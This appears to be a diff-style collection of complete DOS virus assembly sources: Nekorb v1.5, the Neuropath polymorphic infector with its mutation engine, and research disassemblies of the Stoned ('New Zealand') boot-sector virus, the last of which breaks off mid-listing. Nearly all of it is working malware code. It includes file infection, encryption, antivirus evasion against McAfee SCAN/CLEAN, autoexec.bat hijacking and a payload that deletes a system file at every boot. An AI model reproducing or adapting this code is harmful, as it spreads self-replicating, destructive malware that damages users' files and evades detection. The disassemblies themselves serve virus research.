; Nekorb v1.5 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 10/06/98 | Finished: 11/06/98 ;
; `-------------------^------------------- ;
; v1.0 - start with a simple *.com appender | Size: 824 ;
; v1.1 - time / date restoration `---------- ;
; v1.2 - add XOR,NEG,NOT,ROR encryption and directory changing ;
; v1.3 - infects files with any attributes (readonly/hidden/sys) ;
; v1.4 - saves / restores file attributes now ;
; v1.5 - the craziest payload I have ever done... how to explain this...! ;
; - 1: infects all the .coms it can, and then jumps to c:\ ;
; - 2: finds the autoexec.bat file, if there is none, one is created ;
; - 3: infects either the old, or the new, autoexec.bat file replacing ;
; - the first line of it, so it executes a .com everytime the ;
; - computer is started up! read only and hides the autoexec.bat ;
; - 4: creates the new .com that the autoexec.bat runs on startup ;
; - 5: that new .com jumps to the \windows\system directory, and ;
; - deletes one file, prints a message, and waits for the infected ;
; - user to press any key (just to make sure they see us) ;
; - the new .com is made read only / hidden as well ;
; ------------------------------------------------------------------------- ;
; ----------------------> For Christine Moore <---------------------------- ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm nekorb.asm ;
; to link :::::] tlink /t nekorb.obj ;
; ------------------------------------------------------------------------- ;
code segment ; name our segment 'code'
assume cs:code,ds:code ; assign CS and DS to code
org 100h ; this be a .com file
blank: db 0e9h,0,0 ; define the blank jump
start: call delta ; push IP on to stack
delta: pop bp ; pop into BP
sub bp,offset delta ; get the delta offset
encst: jmp not1st ; jump to not1st (overwritten)
lea si,[bp+encd] ; points to encrypted area start
mov di,si ; move the value into DI
call encr ; call the de/encryption routine
jmp encd ; jump to start of encrypted stuff
encr: lodsb ; load a byte
not al ; encryptin 1
ror al,4 ; encryptin 2
neg al ; encryptin 3
xor al,byte ptr [bp+key] ; encryptin 4 -final-
neg al ; unencrypt 3
ror al,4 ; unencrypt 2
not al ; unencrypt 1
stosb ; stores the byte
loop encr ; does all the bytes
ret ; returns from call
key db 0 ; our key
encd: lea si,[bp+buffer] ; three bytes to restore
mov di,100h ; load di with 100h
push di ; save this for the 'retn'
movsw ; move two bytes
movsb ; move one byte
lea dx,[bp+offset dta] ; new DTA address
mov ah,1ah ; move the dta
int 21h ; DTA is moved
first: mov ah,4eh ; find the first file
lea dx,[bp+comfile] ; looking for *.c*
mov cx,7 ; with these attributes
next: int 21h ; find the first .com
jnc infect ; found one? infect it
mov ah,3bh ; change directory
lea dx,[bp+updir] ; load the .. string
int 21h ; now up a directory
jnc first ; jump to first
jmp pload ; hit root? do our payload
infect: lea dx,[bp+offset dta+1eh] ; get the file info
mov ax,4300h ; get file attributes
int 21h ; we have them now
push cx ; save value #1
push dx ; save value #2
push ds ; save value #3
mov ax,4301h ; set file attributes
xor cx,cx ; to none at all
int 21h ; ready for infection
call open ; open the file
mov ax,5700h ; get time / date stamps
int 21h ; get them now
push dx ; save value #4
push cx ; save value #5
mov ah,3fh ; read record function
lea dx,[bp+buffer] ; to the buffer
mov cx,3 ; three bytes
int 21h ; read those bytes
mov ax,word ptr [bp+dta+1ah] ; move the file size into AX
mov cx,word ptr [bp+buffer+1] ; move the buffer + 1 into cx
add cx,finish-start+3 ; add virus size + jump
cmp ax,cx ; compare the two
jz shutup ; if equal close the file
cmp ax,1000 ; compare file size with 1kb
jb shutup ; file is too small, close it up
cmp ax,62000 ; compare file size with 62kb
ja shutup ; file is too big, close it up
sub ax,3 ; get jump to virus body size
mov word ptr [bp+newjump+1],ax ; write this as our jump
mov al,00h ; start of file
call scan ; scan to start of file
mov ah,40h ; write to file
lea dx,[bp+newjump] ; write this
mov cx,3 ; # of bytes to write
int 21h ; write it now
mov al,02h ; end of file
call scan ; scan to end of file
in al,40h ; get a random value
mov byte ptr [bp+key],al ; save it as our key
mov ah,40h ; write to file
lea dx,[bp+start] ; where to start writting
mov cx,encd-start ; # of bytes to write
int 21h ; write the non-encrypted stuff
lea di,[bp+finish] ; load DI with end address
push di ; save value #6
lea si,[bp+encd] ; load SI with start address
mov cx,finish-encd ; # of bytes between the two
push cx ; save value #7
call encr ; call the encryption routine
mov ah,40h ; write to file
pop cx ; saved value #7
pop dx ; saved value #6
int 21h ; write those bytes
shutup: mov ax,5701h ; set time / date
pop cx ; from saved value #5
pop dx ; from saved value #4
int 21h ; time / date restored
mov ax,4301h ; set file attributes
pop ds ; from saved value #3
pop dx ; from saved value #2
pop cx ; from saved value #1
int 21h ; set them now
call close ; close the file
mov ah,4fh ; find next file
jmp next ; jump to next
exit: mov dx,80h ; old address of DTA
mov ah,1ah ; restore to original location
int 21h ; DTA is back to original location
retn ; return control to host
; ---------------------------( The Payload )------------------------------- ;
; ------------------------------------------------------------------------- ;
pload: mov ah,0eh ; change drive
mov dl,2 ; to drive c:\
int 21h ; now in c:\
mov ah,3bh ; change directory
lea dx,[bp+rootdir] ; to the root directory
int 21h ; change now
find: mov ah,4eh ; find first file
lea dx,[bp+autoexe] ; named 'autoexec.bat'
mov cx,7 ; possible attributes
int 21h ; find it now
jnc infkt ; found it? infect it now
mov ah,3ch ; make a file
lea dx,[bp+autoexe] ; named 'autoexec.bat'
xor cx,cx ; normal attributes
int 21h ; make it now
jmp find ; and try again
infkt: lea dx,[bp+offset dta+1eh] ; get the file info
push dx ; save value #8
mov ax,4301h ; set file attributes
xor cx,cx ; to none at all
int 21h ; set them now
call open ; open the file
mov ah,40h ; write to file
lea dx,[bp+newline] ; write the new line
mov cx,13 ; this many bytes
int 21h ; write to file
pop dx ; from saved value #8
mov ax,4301h ; set file attributes
mov cx,3 ; read only / hidden
int 21h ; set them now
call close ; close the autoexec.bat
mov ah,3ch ; create a file
lea dx,[bp+pldfile] ; with this name
push dx ; save value #9
xor cx,cx ; with no attributes
int 21h ; create it now
mov ah,4eh ; find the first file
pop dx ; from saved value #9
mov cx,7 ; with these possible attributes
int 21h ; find it now
lea dx,[bp+offset dta+1eh] ; get the file name info
push dx ; save value #10
call open ; open the file
mov ah,40h ; write to file
lea dx,[bp+pstrt] ; write from here
mov cx,pend-pstrt ; this # of bytes
int 21h ; write them now
pop dx ; from saved value #10
mov ax,4301h ; set file attributes
mov cx,3 ; read only / hidden
int 21h ; set them now
call close ; close winsys.com
jmp exit ; end the virus
; ---------------------( Remotely Called Procedures )---------------------- ;
; ------------------------------------------------------------------------- ;
close: mov ah,3eh ; close file
int 21h ; close it now
ret
open: mov ax,3d02h ; open the file
int 21h ; file is opened
xchg bx,ax ; move the info
ret ; return from call
scan: mov ah,42h ; scan function
xor cx,cx ; cx must be 0
cwd ; likewize for DX
int 21h ; scan through file
ret ; return from call
; -----------------------( The Payload Data Area )------------------------- ;
; ------------------------------------------------------------------------- ;
pstrt: db 0e9h,0,0 ; need all this again
call paydel ; push IP on to stack
paydel: pop bp ; pop it into bp
sub bp,offset paydel ; get 2nd delta offset
mov ah,3bh ; change directory
lea dx,[bp+winsys] ; \windows\system
int 21h ; go there now
mov ah,4eh ; find first file
lea dx,[bp+anyfile] ; with any name *.*
mov cx,7 ; with these possible attributes
int 21h ; find one now
mov ah,41h ; delete a file
mov dx,9eh ; with this name
int 21h ; delete it
mov ah,3bh ; change directory
lea dx,[bp+root] ; back to the root dir
int 21h ; go there now
mov ah,09h ; print a message
lea dx,[bp+paymsg] ; this message
int 21h ; print it to the screen
mov ah,00h ; wait for keypress
int 16h ; let them seeeeee hehehe
int 20h ; end this program
anyfile db '*.*',0 ; find *.*
winsys db "\windows\system",0 ; define directory to change to
root db "\",0 ; change to the root dir
paymsg db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db '',10,13 ; so they don't see winsys.com exec
db 'Infected by Nekorb coded by KilJaeden of the Codebreakers on 10/06/98 - 11/06/98',10,13
db '::Each time you start your computer, an innocent file is sacrificed to my god.::',10,13,'$'
pend:
; --------------------------( The Data Area )------------------------------ ;
; ------------------------------------------------------------------------- ;
newline db '.\winsys.com',10,13,'$'
updir db "..",0 ; define the .. string
comfile db "*.com",0 ; define the *.c* string
autoexe db 'autoexec.bat',0 ; name of file to find
buffer db 0cdh,20h,0 ; terminates 1st gen
rootdir db "\",0 ; change to the root dir
pldfile db 'winsys.com',0 ; the name for our new .com
newjump db 0e9h,0,0 ; overwriten 1st gen
dta db 43 dup (?) ; space for the new DTA
finish label near ; an offset label
; ---------------------( Not Saved / Not Encrypted )----------------------- ;
; ------------------------------------------------------------------------- ;
not1st: lea di,[bp+encst] ; where to move the bytes
lea si,[bp+new] ; move these bytes
movsw ; move two bytes
movsb ; move one more
jmp encd ; jump to encrypted area
new: mov cx,finish-encd ; this will overwrite the jump
; -----------------------------( The End )--------------------------------- ;
; ------------------------------------------------------------------------- ;
code ends ; end code segment
end blank ; end / where to start
; ------------------------------------------------------------------------- ;
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
; ------------------------------------------------------------------------- ;
+286
View File
@@ -0,0 +1,286 @@
; ========================================================================>
; [Neuropath] by MnemoniX 1994
;
; * Memory resident .COM infector
; * Polymorphic (engine in neuroeng.asm - lame but effective)
; * Anti-SCAN and CLEAN stealth technique - creates hidden file in
; root directory; when SCAN or CLEAN is run all attempts to open .COM
; files are redirected to hidden file, and they all come out clean.
; ========================================================================>
code segment
org 0
assume cs:code
start:
db 0E9h,0,0
virus_begin:
call $ + 3
pop bp
sub bp,offset $ - 1
mov ah,3Ch
mov cx,2
lea dx,[bp + dummy_file] ; create dummy file
int 21h
mov ah,3Eh
int 21h
install:
mov ax,5786h
int 21h
push ds es
mov ax,ds
dec ax
mov ds,ax
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
mov es,word ptr ds:[12h]
push cs ; copy virus into memory
pop ds
xor di,di
mov si,bp
mov cx,(virus_end - start) / 2 + 1
rep movsw
xor ax,ax ; capture interrupt 21
mov ds,ax
mov si,21h * 4
mov di,offset old_int_21
movsw
movsw
mov word ptr [si - 4],offset new_int_21
mov [si - 2],es
pop es ds
jmp install
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,5786h
je restore_host
cmp ah,4Ch
je terminate
cmp ah,3Dh
je file_open
not ax
cmp ax,0B4FFh
je execute
int_21_4B_exit:
not ax
int_21_exit:
db 0EAh
old_int_21 dd 0
restore_host:
pop ax
pop ax
push ds
mov di,0FEFFh
not di
lea si,[bp + host]
push di
movsw
movsb
iret
terminate:
mov cs:McAffee_alert,0
jmp int_21_exit
file_open:
cmp cs:McAffee_alert,1
jne int_21_exit
push ax si
mov si,dx
find_ext:
lodsb
cmp al,'.'
je ext_found
test al,al
je not_com
jmp find_ext
ext_found:
cmp ds:[si],'OC' ; .COM?
jne not_com
cmp byte ptr ds:[si + 2],'M'
jne not_com
pop si ax
push ds dx
push cs
pop ds
mov dx,offset dummy_file
call int_21
pop dx ds
retf 2
not_com:
pop si ax
jmp int_21_exit
execute:
push ax si
mov si,dx
find_ext_2:
lodsb
cmp al,'.'
je ext_found_2
test al,al
je no_scan
jmp find_ext_2
ext_found_2:
cmp ds:[si],'XE' ; check for SCAN.EXE
jne no_scan
cmp ds:[si - 3],'NA'
jne no_scan
cmp ds:[si - 5],'CS'
jne perhaps_clean
mcaffee_on:
pop si ax
mov cs:McAffee_alert,1 ; McAffee alert!
jmp int_21_4B_exit
perhaps_clean:
cmp ds:[si - 5],'EL' ; check for CLEAN.EXE
jne no_scan
cmp byte ptr ds:[si - 6],'C'
je mcaffee_on
no_scan:
pop si ax
push ax bx cx dx si di bp ds es
mov ax,3D00h
call int_21
jnc check_out
jmp cant_open
check_out:
xchg ax,bx
push cs
pop ds
push bx
mov ax,ds:sft_1
int 2Fh
mov ax,ds:sft_2
mov bl,es:[di]
int 2Fh
pop bx
mov word ptr es:[di + 2],2
mov ax,es:[di + 0Dh]
and al,31
cmp al,24 ; marker is 24
je dont_infect
mov ah,ds:file_read ; anti-TBSCAN
mov dx,offset host
mov cx,3
call int_21
mov ax,word ptr ds:host
sub ax,'ZM'
je dont_infect
mov ax,es:[di + 11h] ; file size
cmp ax,65278 - VIRUS_SIZE
jae dont_infect
mov es:[di + 15h],ax
sub ax,3
mov word ptr ds:new_jump + 1,ax
push es di bx
add ax,103h
xchg dx,ax
mov cx,VIRUS_SIZE
mov si,offset virus_begin
mov di,offset encrypt_buffer
push cs
pop es
call engine
pop bx di es
mov dx,offset encrypt_buffer
call write_it
mov word ptr es:[di + 15h],0
mov cx,3
mov dx,offset new_jump
call write_it
dont_infect:
mov ax,ds:set_date ; anti-TBSCAN
mov cx,es:[di + 0Dh]
mov dx,es:[di + 0Fh]
and cl,-32
or cl,24
call int_21
mov ah,3Eh
call int_21
cant_open:
pop es ds bp di si dx cx bx ax
jmp int_21_4B_exit
write_it:
mov ah,ds:file_write ; anti-TBSCAN
call int_21
ret
db '[Neuropath] MnemoniX',0
dummy_file db '\',-1,-1,0 ; 2 ASCII 255s
include neuroeng.asm
McAffee_alert db 0
host db 0CDh,20h,0
new_jump db 0E9h,0,0
set_date dw 5701h
file_read db 3Fh
file_write db 40h
sft_1 dw 1220h
sft_2 dw 1216h
virus_end:
VIRUS_SIZE equ virus_end - virus_begin
encrypt_buffer db VIRUS_SIZE + 1000 dup (?)
heap_end:
MEM_SIZE equ heap_end - start
code ends
end start
@@ -0,0 +1,284 @@
; Neurotic Mutation Engine v1.00 for Neuropath
; by MnemoniX 1994
engine proc near
call randomize
get_reg_1:
mov ax,7 ; counter register
call _random
inc ax
cmp al,4
je get_reg_1
cmp al,5
ja get_reg_1
mov ds:reg_1,al
push di ; save this
push ax
call garbage_dump ; crap
pop ax
add al,0B8h ; store MOV instruction
stosb
mov ax,cx
stosw
call garbage_dump ; more crap
mov al,0BFh
stosb
push di ; use this later
stosw
call garbage_dump ; even more crap
mov ax,0F78Bh
stosw
push di ; use this later too
call garbage_dump ; more crap
mov al,0ADh ; a LODSW
stosb
call garbage_dump ; yet more crap
mov al,2
call _random
test al,al
je add_it
mov al,35h
mov bl,al
je decryptor
add_it:
mov al,5
mov bl,2Dh
decryptor:
stosb
mov ds:encrypt_act,bl ; for encryption
mov ax,-1
call _random
stosw
mov ds:encrypt_key,ax ; for encryption
call garbage_dump ; just pilin' on the crap
mov al,0ABh ; a STOSW
stosb
call garbage_dump ; the crap continues ...
mov al,ds:reg_1 ; decrement counter
add al,48h
mov ah,9Ch ; and a PUSHF
stosw
call garbage_dump ; C-R-A-P ...
mov ax,749Dh ; a POPF and JZ
stosw
mov ax,4
call _random ; use later
mov bx,ax
add al,3
stosb
mov al,0E9h ; a JMP
stosb
pop ax ; use LODSW offset
sub ax,di
dec ax
dec ax
stosw
add di,bx ; fix up DI
pop bx ; now fix up offset value
pop bp
sub bp,di
neg bp
push bp ; size of decryptor - for l8r
add bp,dx
mov es:[bx],bp
push cx
push si
mov si,offset one_byters ; swap one-byte instructions
mov ax,7 ; around for variety
call _random
mov bx,ax
mov al,7
call _random
mov ah,[bx+si]
mov bl,al
mov [bx+si],ah
pop si
; now we encrypt
encrypt_it:
lodsw
encrypt_act db 0
encrypt_key dw 0
stosw
loop encrypt_it
pop cx
pop dx
add cx,dx
ret
reg_1 db 0
rnd_seed_1 dw 0
rnd_seed_2 dw 0
garbage_dump:
mov ax,7 ; garbage instructions
call _random
add ax,5
push cx
mov cx,ax
dump_it:
; El Basurero - "The GarbageMan"
mov ax,8
call _random
cmp al,2
jb next_one
je garbage_1 ; a MOV ??,AX
cmp al,3
je garbage_2 ; operate ??,AX
cmp al,4
je garbage_3 ; CMP or TEST AX/AL,??
cmp al,5 ; a few little instructions
jae garbage_4
next_one:
loop dump_it
pop cx
ret
garbage_1:
mov al,8Bh
stosb
call get_mov_reg
shl ax,1
shl ax,1
shl ax,1
add al,0C0h
stosb
jmp next_one
garbage_2:
mov al,8
call _random
shl ax,1
shl ax,1
shl ax,1
add al,3
stosb
call get_mov_reg
shl ax,1
shl ax,1
shl ax,1
add al,0C0h
stosb
jmp next_one
garbage_3:
mov al,2
call _random
test al,al
je a_cmp
mov al,0A9h
jmp storage
a_cmp:
mov al,3Dh
storage:
stosb
mov ax,-1
call _random
stosw
jmp next_one
garbage_4:
push cx
mov ax,4
call _random
add ax,3
mov cx,ax
push si
mov bx,offset one_byters
filler_loop:
mov ax,8
call _random
cmp al,7
je make_inc_dec
mov si,ax
mov al,[bx+si]
proceed:
stosb
loop filler_loop
pop si cx
jmp next_one
make_inc_dec:
call get_mov_reg
add al,40h
jmp proceed
get_mov_reg:
mov ax,8
call _random
test al,al
je get_mov_reg
cmp al,4
je get_mov_reg
cmp al,5
ja get_mov_reg
cmp al,reg_1
je get_mov_reg
ret
one_byters:
db 0CCh
stc
clc
cmc
sti
nop
cld
randomize:
push cx dx
xor ah,ah
int 1Ah
mov rnd_seed_1,dx
add dx,cx
mov rnd_seed_2,dx
pop dx cx
ret
_random:
push cx dx ax
add dx,rnd_seed_2
add dx,17
mov ax,dx
xor dx,dx
test ax,ax
je rnd_done
pop cx
div cx
mov ax,dx ; AX now holds our random #
rnd_done:
mov dx,rnd_seed_1
add rnd_seed_2,dx
pop dx cx
ret
engine endp
File diff suppressed because it is too large Load Diff
Binary file not shown.
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,288 @@
page 65,132
title The 'New Zealand' Virus
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'New Zealand' Virus º
; º Disassembled by Joe Hirst, November 1988 º
; º º
; º Copyright (c) Joe Hirst 1988, 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The virus consists of a boot sector only. The original boot sector
; is kept at track zero, head one, sector three on a floppy disk, or
; track zero, head zero, sector two on a hard disk.
; The disassembly has been tested by re-assembly using MASM 5.0.
; The program requires an origin address of 7C00H, as it is designed
; to load and run as a boot sector.
RAM SEGMENT AT 0
; System data
ORG 4CH
BW004C DW ? ; Interrupt 19 (13H) offset
BW004E DW ? ; Interrupt 19 (13H) segment
ORG 413H
BW0413 DW ? ; Total RAM size
ORG 440H
BB0440 DB ? ; Motor timeout counter
ORG 46CH
BB046C DB ? ; System clock
ORG 7C0AH
I13_OF DW ?
I13_SG DW ?
HICOOF DW ?
HICOSG DW ? ; High core segment
RAM ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:RAM
START: DB 0EAH ; Far jump to next byte
DW BP0010, 07C0H
BP0010: JMP BP0110
DRIVEN DB 0 ; Drive number (A=0, B=1, C=2)
DUMMY DB 0
; Original Int 13H address
INT_13 EQU THIS DWORD
DW 0
DW 0
; Branch address in high core
HIGHCO EQU THIS DWORD
DW BP0120
DW 0
; Boot sector processing address
BOOTST EQU THIS DWORD
DW 07C00H
DW 0
; Interrupt 13H disk I/O routine
BP0020: PUSH DS
PUSH AX
CMP AH,2 ; Sub-function 2
JB BP0030 ; Pass on if below
CMP AH,4 ; Sub-function 4
JNB BP0030 ; Pass on if not below
CMP DL,0 ; Is drive A
JNE BP0030 ; Pass on if not
XOR AX,AX ; \ Segment zero
MOV DS,AX ; /
MOV AL,BB0440 ; Get motor timeout counter
OR AL,AL ; Test for zero
JNE BP0030 ; Branch if not
CALL BP0040 ; Call infection routine
BP0030: POP AX
POP DS
JMP INT_13 ; Pass control to Int 13H
; Infection routine
BP0040: PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH SI
PUSH DI
MOV SI,4 ; Retry count
BP0050: MOV AX,201H ; Read one sector
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV BX,200H ; Boot sector buffer
MOV CX,1 ; Track zero, sector 1
XOR DX,DX ; Head zero, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
JNB BP0060 ; Branch if no error
XOR AX,AX ; Reset disk sub-system
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
DEC SI ; Decrement retry count
JNE BP0050 ; Retry
JMP BP0080 ; No more retries
BP0060: XOR SI,SI ; Start of program
MOV DI,200H ; Boot sector buffer
MOV AX,ES:[SI] ; Get first word
CMP AX,ES:[DI] ; Test if same
JNE BP0070 ; Install if not
MOV AX,ES:[SI+2] ; Get second word
CMP AX,ES:[DI+2] ; Test if same
JNE BP0070 ; Install if not
JMP BP0080 ; Pass on
BP0070: MOV AX,301H ; Write one sector
MOV BX,200H ; Boot sector buffer
MOV CX,3 ; Track zero, sector 3
MOV DX,100H ; Head 1, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
JB BP0080 ; Branch if error
MOV AX,301H ; Write one sector
XOR BX,BX ; This sector
MOV CL,1 ; Track zero, sector 1
XOR DX,DX ; Head zero, drive A
PUSHF ; Fake an interrupt
CALL INT_13 ; Call Int 13H
BP0080: POP DI
POP SI
POP ES
POP DX
POP CX
POP BX
RET
; Display message
BP0090: MOV AL,CS:[BX] ; Get next message byte
INC BX ; Update pointer
CMP AL,0 ; Test for end of message
JNE BP0100 ; Branch to display
RET
BP0100: PUSH AX
PUSH BX
MOV AH,0EH ; Write TTY mode
MOV BH,0
INT 10H ; VDU I/O
POP BX
POP AX
JMP SHORT BP0090 ; Process next byte
; Install in high core
BP0110: XOR AX,AX ; \ Segment zero
MOV DS,AX ; /
CLI
MOV SS,AX ; \ Set stack to boot sector area
MOV SP,7C00H ; /
STI
MOV AX,BW004C ; Get Int 13H offset
MOV I13_OF,AX ; Store in jump offset
MOV AX,BW004E ; Get Int 13H segment
MOV I13_SG,AX ; Store in jump segment
MOV AX,BW0413 ; Get total RAM size
DEC AX ; \ Subtract 2k
DEC AX ; /
MOV BW0413,AX ; Replace total RAM size
MOV CL,6 ; Bits to move
SHL AX,CL ; Convert to Segment
MOV ES,AX ; Set ES to segment
MOV HICOSG,AX ; Move segment to jump address
MOV AX,OFFSET BP0020 ; Get Int 13H routine address
MOV BW004C,AX ; Set new Int 13H offset
MOV BW004E,ES ; Set new Int 13H segment
MOV CX,OFFSET ENDADR ; Load length of program
PUSH CS ; \ Set DS to CS
POP DS ; /
XOR SI,SI ; \ Set pointers to zero
MOV DI,SI ; /
CLD
REPZ MOVSB ; Copy program to high core
JMP HIGHCO ; Branch to next instruc in high core
; Continue processing in high core
BP0120: MOV AX,0 ; Reset disk sub-system
INT 13H ; Disk I/O
XOR AX,AX ; \ Segment zero
MOV ES,AX ; /
ASSUME DS:NOTHING,ES:RAM
MOV AX,201H ; Read one sector
MOV BX,7C00H ; Boot sector buffer address
CMP DRIVEN,0 ; Test drive is A
JE BP0130 ; Branch if yes
MOV CX,2 ; Track zero, sector 2
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JMP BP0150 ; Pass control to boot sector
; Floppy disk
BP0130: MOV CX,3 ; Track zero, sector 3
MOV DX,100H ; Side one, drive A
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
TEST BB046C,7 ; Test low byte of time
JNZ BP0140 ; Branch if not 7
MOV BX,OFFSET MESSAGE ; Load message address
CALL BP0090 ; Display message
BP0140: PUSH CS ; \ Set ES to CS
POP ES ; /
MOV AX,201H ; Read one sector
MOV BX,200H ; C-disk boot sector buffer
MOV CX,1 ; Track zero, sector 1
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV SI,200H ; C-disk boot sector buffer
MOV DI,0 ; Start of program
MOV AX,[SI] ; Get first word
CMP AX,[DI] ; Compare to C-disk
JNE BP0160 ; Install on C-disk if different
MOV AX,[SI+2] ; Get second word
CMP AX,[DI+2] ; Compare to C-disk
JNE BP0160 ; Install on C-disk if different
BP0150: MOV DRIVEN,0 ; Drive A
MOV DUMMY,0
JMP BOOTST ; Pass control to boot sector
; Install on C-disk
BP0160: MOV DRIVEN,2 ; Drive C
MOV DUMMY,0
MOV AX,301H ; Write one sector
MOV BX,200H ; C-disk boot sector buffer
MOV CX,2 ; Track zero, sector 2
MOV DX,80H ; side zero, drive C
INT 13H ; Disk I/O
JB BP0150 ; Branch if error
PUSH CS ; \ Set DS to CS
POP DS ; /
PUSH CS ; \ Set ES to CS
POP ES ; /
MOV SI,OFFSET ENDADR+200H ; Target offset
MOV DI,OFFSET ENDADR ; Source offset
MOV CX,OFFSET 400H-ENDADR ; Length to move
REPZ MOVSB ; Copy C-disk boot sector
MOV AX,301H ; Write one sector
MOV BX,0 ; Write this sector
MOV CX,1 ; Track zero, sector 1
MOV DX,80H ; Side zero, drive C
INT 13H ; Disk I/O
JMP SHORT BP0150 ; Pass control to boot sector
MESSAGE DB 7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0
DB 'LEGALISE MARIJUANA!'
ENDADR EQU $-1
CODE ENDS
END START

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,280 @@
page 65,132
title The 'New Zealand' Virus (Update)
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'New Zealand' Virus (Update) º
; º Disassembled by Joe Hirst, March 1989 º
; º º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; This disassembly is derived from an inconsistently updated
; assembler version which arrived in this country with the original
; executable program.
; The virus consists of a boot sector only. The original boot sector
; is kept at track zero, head one, sector three on a floppy disk, or
; track zero, head zero, sector seven on a hard disk.
; The program requires an origin address of 7C00H, as it is designed
; to load and run as a boot sector.
RAM SEGMENT AT 0
; System data
ORG 4CH
BW004C DW ? ; Interrupt 19 (13H) offset
BW004E DW ? ; Interrupt 19 (13H) segment
ORG 413H
BW0413 DW ? ; Total RAM size
ORG 43FH
BB043F DB ? ; Drive Motor Flag
ORG 46CH
BB046C DB ? ; System clock
ORG 7C0AH
I13_OF DW ?
I13_SG DW ?
HICOOF DW ?
HICOSG DW ? ; High core segment
RAM ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:RAM
START: DB 0EAH ; Far jump to next byte
DW BP0010, 07C0H
BP0010: JMP BP0110
DRIVEN DB 0 ; Drive number (A=0, B=1, C=2)
; Original Int 13H address
INT_13 EQU THIS DWORD
DW ?
DW ?
; Branch address in high core
HIGHCO EQU THIS DWORD
DW BP0120
DW 0
; Boot sector processing address
BOOTST EQU THIS DWORD
DW 07C00H
DW 0
; Interrupt 13H disk I/O routine
BP0020: PUSH DS
PUSH AX
CMP AH,2 ; Sub-function 2
JB BP0030 ; Pass on if below
CMP AH,4 ; Sub-function 4
JNB BP0030 ; Pass on if not below
OR DL,DL ; Is drive A
JNZ BP0030 ; Pass on if not
XOR AX,AX ; \ Segment zero
MOV DS,AX ; /
